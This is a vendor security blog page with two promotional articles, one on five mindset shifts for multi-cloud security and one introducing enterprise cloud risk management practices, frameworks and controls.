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Level Up Your Security Game: Time for a Mindset Reset! Hey everyone, and welcome! If you're involved in keeping your organization safe... 5 mindset shifts security teams must adopt to master multi-cloud security Iris Stein 2 min read Iris Stein Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/9/25 Published Level Up Your Security Game: Time for a Mindset Reset! Hey everyone, and welcome! If you're involved in keeping your organization safe online these days, you're in the right place. For years, security felt like building a super strong castle with thick walls and a deep moat, hoping the bad guys would just stay outside. But let's be real, in our multi-cloud world, that castle is starting to look a little... outdated. Think about it: your apps and data aren't neatly tucked away in one place anymore. They're bouncing around on AWS, Azure, GCP, all sorts of platforms – practically everywhere! Trying to handle that with old-school security is like trying to catch smoke with a fishing net. Not gonna work, right? That's why we're chatting today. Gal Yosef, Head of Product Management in the U.S., gets it. He's helped us dive into some crucial mindset shifts – basically, new ways of thinking – that are essential for navigating the craziness of modern security. We gotta ditch the old ways and get ready to be more agile, work together better, and ultimately, be way more effective. Mindset Shift #1: From "Our Stuff is Safe Inside This Box" to "Trust Nothing, Verify Everything" Remember the good old days? We built a perimeter – firewalls, VPNs – thinking that everything inside was safe and sound (danger!). Security was all about guarding that edge. The Problem: Well, guess what? That world is gone! Multi-cloud environments have totally shattered that perimeter. Trying to just secure the network edge leaves your real treasures – your applications, users, and data – vulnerable as they roam across different clouds. It's like locking the front door but leaving all the windows wide open! The New Way: Distributed Trust. Security needs to follow your assets, wherever they go. Instead of just focusing on the infrastructure (the pipes and wires), we need to embrace Zero-Trust principles . Think of it like this: never assume anyone or anything is trustworthy, even if they're "inside." We need identity-based, adaptive security policies that constantly validate trust, rather than just assuming it based on location. Security becomes built into applications and workloads, not just bolted onto the network. Think of it this way: Instead of one big, guarded gate, you have individual, smart locks on every valuable asset. You're constantly checking who's accessing what, no matter where they are. It's like having a personal bodyguard for each of your important things, always making sure they have the right ID. Mindset Shift #2: From "My Team Handles Network Security, Their Team Handles Cloud Security" to "Let's All Be Security Buddies!" Ever feel like your network security team speaks a different language than your cloud security team? You're not alone! Traditionally, these have been separate worlds, with network teams focused on firewalls and cloud teams on security groups. The Problem: These separate silos are a recipe for confusion and fragmented security policies. Attackers? They love this! It's like having cracks in your armor. They aren't always going to bash down the front door; they're often slipping through the gaps created by this lack of communication. The New Way: Cross-functional collaboration. We need to tear down those walls! Network and cloud security teams need to work together, speaking a shared security language. Unified visibility and consistent policies across all your environments are key. Think of it like a superhero team – everyone has their own skills, but they work together seamlessly to fight the bad guys. Regular communication, shared tools, and a common understanding of the risks are crucial. Mindset Shift #3: From "Reacting When Something Breaks" to "Always Watching and Fixing Things Before They Do" Remember the old days of waiting for an alert to pop up saying something was wrong? That's like waiting for your car to break down before you even think about checking the oil. Not the smartest move, right? The Problem: In the fast-paced world of the cloud, waiting for things to go wrong is a recipe for disaster. Attacks can happen super quickly, and by the time you react, the damage might already be done. Plus, manually checking everything all the time? Forget about it – it's just not scalable when you've got stuff spread across multiple clouds. The New Way: Continuous & Automated Enforcement. We need to shift to a mindset of constant monitoring and automated security actions. Think of it like having a security system that's always on, always learning, and can automatically respond to threats in real-time. This means using tools and processes that continuously check for vulnerabilities, enforce security policies automatically, and even predict potential problems before they happen. It's like having a proactive security guard who not only watches for trouble but can also automatically lock doors and sound alarms the moment something looks fishy. Mindset Shift #4: From "Locking Everything Down Tight" to "Finding the Right Balance with Flexible Rules" We used to think the best security was the strictest security – lock everything down, say "no" to everything. But let's be honest, that can make it super hard for people to actually do their jobs! It's like putting so many locks on a door that nobody can actually get through it. The Problem: Overly restrictive security can stifle innovation and slow things down. Developers can get frustrated, and the business can't move as quickly as it needs to. Plus, sometimes those super strict rules can even create workarounds that actually make things less secure in the long run. The New Way: Flexible Guardrails. We need to move towards security that provides clear boundaries (the "guardrails") but also allows for agility and flexibility. Think of it like setting clear traffic laws – you know what's allowed and what's not, but you can still drive where you need to go. This means defining security policies that are adaptable to different cloud environments and business needs. It's about enabling secure innovation, not blocking it. We need to find that sweet spot where security empowers the business instead of hindering it. Mindset Shift #5: From "Security is a Cost Center" to "Security is a Business Enabler" Sometimes, security gets seen as just an expense, something we have to do but doesn't really add value. It's like thinking of insurance as just another bill. The Problem: When security is viewed as just a cost, it often gets underfunded or seen as a roadblock. This can lead to cutting corners and ultimately increasing risk. It's like trying to save money by neglecting the brakes on your car – it might seem cheaper in the short term, but it can have disastrous consequences later. The New Way: Security as a Business Enabler. We need to flip this thinking! Strong security isn't just about preventing bad things from happening; it's about building trust with customers, enabling new business opportunities, and ensuring the long-term resilience of the organization. Think of it like a strong foundation for a building – without it, you can't build anything lasting. By building security into our processes and products from the start, we can actually accelerate innovation and gain a competitive advantage. It's about showing our customers that we take their data seriously and that they can trust us. Wrapping Up: Moving to a multi-cloud world is exciting, but it definitely throws some curveballs at how we think about security. By adopting these five new mindsets, we can ditch the outdated castle mentality and build a more agile, collaborative, and ultimately more secure future for our organizations. It's not about being perfect overnight, but about starting to shift our thinking and embracing these new approaches. So, let's level up our security game together! Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. 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Every business needs to manage risks. If not, they won’t be around for long. The same is true in cloud computing. As more companies move... Cloud Security Introduction to Cloud Risk Management for Enterprises Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/24/22 Published Every business needs to manage risks. If not, they won’t be around for long. The same is true in cloud computing. As more companies move their resources to the cloud, they must ensure efficient risk management to achieve resilience, availability, and integrity. Yes, moving to the cloud offers more advantages than on-premise environments. But, enterprises must remain meticulous because they have too much to lose. For example, they must protect sensitive customer data and business resources and meet cloud security compliance requirements. The key to these – and more – lies in cloud risk management. That’s why in this guide, we’ll cover everything you need to know about managing enterprise risk in cloud computing, the challenges you should expect, and the best ways to navigate it. If you stick around, we’ll also discuss the skills cloud architects need for risk management. What is Cloud Risk Management and Why is it Important? In cloud computing, risk management refers to the process of identifying, assessing, prioritizing, and mitigating the risks associated with cloud computing environments. It’s a process of being proactive rather than reactive. You want to identify and prevent an unexpected or dangerous event that can damage your systems before it happens. Most people will be familiar with Enterprise Risk Management (ERM). Organizations use ERM to prepare for and minimize risks to their finances, operations, and goals. The same concept applies to cloud computing. Cyber threats have grown so much in recent years that your organization is almost always a target. For example, a recent report revealed 80 percent of organizations experienced a cloud security incident in the past year. While cloud-based information systems have many security advantages, they may still be exposed to threats. Unfortunately, these threats are often catastrophic to your business operations. This is why risk management in cloud environments is critical. Through effective cloud risk management strategies, you can reduce the likelihood or impact of risks arising from cloud services. Types of Risks Managing risks is a shared responsibility between the cloud provider and the customer – you. While the provider ensures secure infrastructure, you need to secure your data and applications within that infrastructure. Some types of risks organizations face in cloud environments are: Data breaches are caused by unauthorized access to sensitive data and information stored in the cloud. Service disruptions caused by redundant servers can affect the availability of services to users. Non-compliance to regulatory requirements like CIS compliance , HIPAA, and GDPR. Insider threats like malicious insiders, cloud misconfigurations, and negligence. External threats like account hijacking and insecure APIs. But risk assessment and management aren’t always straightforward. You will face certain challenges – and we’ll discuss them below: Challenges Facing Enterprise Cloud Risk Management Most organizations often face difficulties when managing cloud or third-party/vendor risks. These risks are particularly associated with the challenges that cloud deployments and usage cause. Understanding the cloud security challenges sheds more light on your organization’s potential risks. The Complexity of Cloud Environments Cloud security is complex, particularly for enterprises. For example, many organisations leverage multi-cloud providers. They may also have hybrid environments by combining on-premise systems and private clouds with multiple public cloud providers. You’ll admit this poses more complexities, especially when managing configurations, security controls, and integrations across different platforms. Unfortunately, this means organizations leveraging the cloud will likely become dependent on cloud services. So, what happens when these services become unavailable? Your organisation may be unable to operate, or your customers can’t access your services. Thus, there’s a need to manage this continuity and lock-in risks. Lack of Visibility and Control Cloud consumers have limited visibility and control. First, moving resources to the public cloud means you’ll lose many controls you had on-premises. Cloud service providers don’t grant access to shared infrastructure. Plus, your traditional monitoring infrastructure may not work in the cloud. So, you can no longer deploy network taps or intrusion prevention systems (IPS) to monitor and filter traffic in real-time. And if you cannot directly access the data packets moving within the cloud or the information contained within them, you lack visibility or control. Lastly, cloud service providers may provide logs of cloud workloads. But this is far from the real deal. Alerts are never really enough. They’re not enough for investigations, identifying the root cause of an issue, and remediating it. Investigating, in this case, requires access to data packets, and cloud providers don’t give you that level of data. Compliance and Regulatory Requirements It can be quite challenging to comply with regulatory requirements. For instance, there are blind spots when traffic moves between public clouds or between public clouds and on-premises infrastructures. You can’t monitor and respond to threats like man-in-the-middle attacks. This means if you don’t always know where your data is, you risk violating compliance regulations. With laws like GDPR, CCPA, and other privacy regulations, managing cloud data security and privacy risks has never been more critical. Understanding Existing Systems and Processes Part of cloud risk management is understanding your existing systems and processes and how they work. Understanding the requirements is essential for any service migration, whether it is to the cloud or not. This must be taken into consideration when evaluating the risk of cloud services. How can you evaluate a cloud service for requirements you don’t know? Evolving Risks Organizations struggle to have efficient cloud risk management during deployment and usage because of evolving risks. Organizations often develop extensive risk assessment questionnaires based on audit checklists, only to discover that the results are virtually impossible to assess. While checklists might be useful in your risk assessment process, you shouldn’t rely on them. Pillars of Effective Cloud Risk Management – Actionable Processes Here’s how efficient risk management in cloud environments looks like: Risk Assessment and Analysis The first stage of every risk management – whether in cloud computing or financial settings – is identifying the potential risks. You want to answer questions like, what types of risks do we face? For example, are they data breaches? Unauthorized access to sensitive data? Or are they service disruptions in the cloud? The next step is analysis. Here, you evaluate the likelihood of the risk happening and the impact it can have on your organization. This lets you prioritize risks and know which ones have the most impact. For instance, what consequences will a data breach have on the confidentiality and integrity of the information stored in the cloud? Security Controls and Safeguards to Mitigate Risks Once risks are identified, it’s time to implement the right risk mitigation strategies and controls. The cloud provider will typically offer security controls you can select or configure. However, you can consider alternative or additional security measures that meet your specific needs. Some security controls and mitigation strategies that you can implement include: Encrypting data at rest and in transit to protect it from unauthorized access. For example, you could encrypt algorithms and implement secure key management practices that protect the information in the cloud while it’s being transmitted. Implementing accessing control and authentication measures like multi-factor authentication (MFA), role-based access control (RBAC), and privileged access management (PAM). These mechanisms ensure that only authorized users can access resources and data stored in the cloud. Network security and segmentation: Measures like firewalls, intrusion detection/intrusion prevention systems (IDS/IPS), and virtual private networks (VPN) will help secure network communications and detect/prevent malicious actors. On the other hand, network segmentation mechanisms help you set strict rules on the services permitted between accessible zones or isolated segments. Regulatory Compliance and Data Governance Due to the frequency and complexity of cyber threats, authorities in various industries are releasing and updating recommendations for cloud computing. These requirements outline best practices that companies must adhere to avoid and respond to cyber-attacks. This makes regulatory compliance an essential part of identifying and mitigating risks. It’s important to first understand the relevant regulations, such as PCI DSS, ISO 27001, GDPR, CCPA, and HIPAA. Then, understand each one’s requirements. For example, what are your obligations for security controls, breach notifications, and data privacy? Part of ensuring regulatory compliance in your cloud risk management effort is assessing the cloud provider’s capabilities. Do they meet the industry compliance requirements? What are their previous security records? Have you assessed their compliance documentation, audit reports, and data protection practices? Lastly, it’s important to implement data governance policies that prescribe how data is stored, handled, classified, accessed, and protected in the cloud. Continuous Monitoring and Threat Intelligence Cloud risks are constantly evolving. This could be due to technological advancements, revised compliance regulations and frameworks, new cyber-treats, insider threats like misconfigurations, and expanding cloud service models like Infrastructure-as-a-Service (IaaS). What does this mean for cloud computing customers like you? There’s an urgent need to conduct regular security monitoring and threat intelligence to address emerging risks proactively. It has to be an ongoing process of performing vulnerability scans of your cloud infrastructure. This includes log management, periodic security assessments, patch management, user activity monitoring, and regular penetration testing exercises. Incident Response and Business Continuity Ultimately, there’s still a chance your organization will face cyber incidents. Part of cloud risk management is implementing cyber incident response plans (CIRP) that help contain threats. Whether these incidents are low-level risks that were not prioritized or high-impact risks you missed, an incident response plan will ensure business continuity. It’s also important to gather evidence through digital forensics and analyze system artifacts after incidents. Backup and Recovery Implementing data backup and disaster recovery into your risk management ensures you minimize the impact of data loss or service disruptions. For example, backing up data and systems regularly is important. Some cloud services may offer redundant storage and versioning features, which can be valuable when your data is corrupted or accidentally deleted. Additionally, it’s necessary to document backup and recovery procedures to ensure consistency and guide architects. Best Practices for Effective Cloud Risk Management Achieving cloud risk management involves combining the risk management processes above, setting internal controls, and corporate governance. Here are some best practices for effective cloud risk management: 1. Careful Selection of Your Cloud Service Provider (CSP) Carefully select a reliable cloud service provider (CSP). You can do this by evaluating factors like contract clarity, ethics, legal liability, viability, security, compliance, availability, and business resilience. Note that it’s important to assess if the CSP relies on other service providers and adjust accordingly. 2. Establishing a Cloud Risk Management Framework Consider implementing cloud risk management frameworks for a structured approach to identifying, assessing, and mitigating risks. Some notable frameworks include: National Institute of Standards and Technology (NIST) Cloud Computing Risk Management Framework (CC RMF) ISO/IEC 27017 Cloud Security Alliance (CSA) Cloud Controls Matrix (CCM) Cloud Audit and Compliance (CAC) Criteria Center for Internet Security (CIS) Controls for Cloud, etc. 3. Collaboration and Communication with Stakeholders You should always inform all stakeholders about potential risks, their impact, and incident response plans. A collaborative effort can improve risk assessment and awareness, help your organization leverage collective expertise, and facilitates effective decision-making against identified risks. 4. Implement Technical Safeguards Deploying technical safeguards like cloud access security broker (CASB) in cloud environments can enhance security and protect against risks. CASB can be implemented in the cloud or on-premise and enforces security policies for users accessing cloud-based resources. 5. Set Controls Based on Risk Treatment After identifying risks and determining your risk appetite, it’s important to implement dedicated measures to mitigate them. Develop robust data classification and lifecycle mechanisms and integrate processes that outline data protection, erasure, and hosting into your service-level agreements (SLA). 6. Employee Training and Awareness Programs What’s cloud risk management without training personnel? At the crux of risk management is identifying potential threats and taking steps to prevent them. Insider threats and the human factor contribute significantly to threats today. So, training employees on what to do to prevent risks during and after incidents can make a difference. 7. Adopt an Optimized Cloud Service Model Choose a cloud service model that suits your business, minimizes risks, and optimizes your cloud investment cost. 8. Continuous Improvement and Adaptation to Emerging Threats As a rule of thumb, you should always look to stay ahead of the curve. Conduct regular security assessments and audits to improve cloud security posture and adapt to emerging threats. Skills Needed for Cloud Architects in Risk Management Implementing effective cloud risk management requires having skilled architects on board. Through their in-depth understanding of cloud platforms, services, and technologies, these professionals can help organizations navigate complex cloud environments and design appropriate risk mitigation strategies. Cloud Security Expertise: This involves an understanding of cloud-specific security challenges and a solid knowledge of the cloud provider’s security capabilities. Risk Assessment and Management Skills: Cloud architects must be proficient in risk assessment processes, methodologies, and frameworks. It is also essential to prioritize risks based on their perceived impact and implement appropriate controls. Compliance and Regulatory Knowledge: Not complying with regulatory requirements may cause similar damage as poor risk management. Due to significant legal fees or fines, cloud architects must understand relevant industry regulations and compliance standards. They must also incorporate these requirements into the company’s risk management strategies. Incident Response and Incident Handling: Risk management aims to reduce the likelihood of incidents or their impact. It doesn’t mean completely eradicating incidents. So, when these incidents eventually happen, you want cloud security architects who can respond adequately and implement best practices in cloud environments. Conclusion The importance of prioritizing risk management in cloud environments cannot be overstated. It allows you to proactively identify risks, assess, prioritize, and mitigate them. This enhances the reliability and resilience of your cloud systems, promotes business continuity, optimizes resource utilization, and helps you manage compliance. Do you want to automate your cloud risk assessment and management? Prevasio is the ideal option for identifying risks and achieving security compliance. Request a demo now to see how Prevasio’s agentless platform can protect your valuable assets and streamline your multi-cloud environments. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call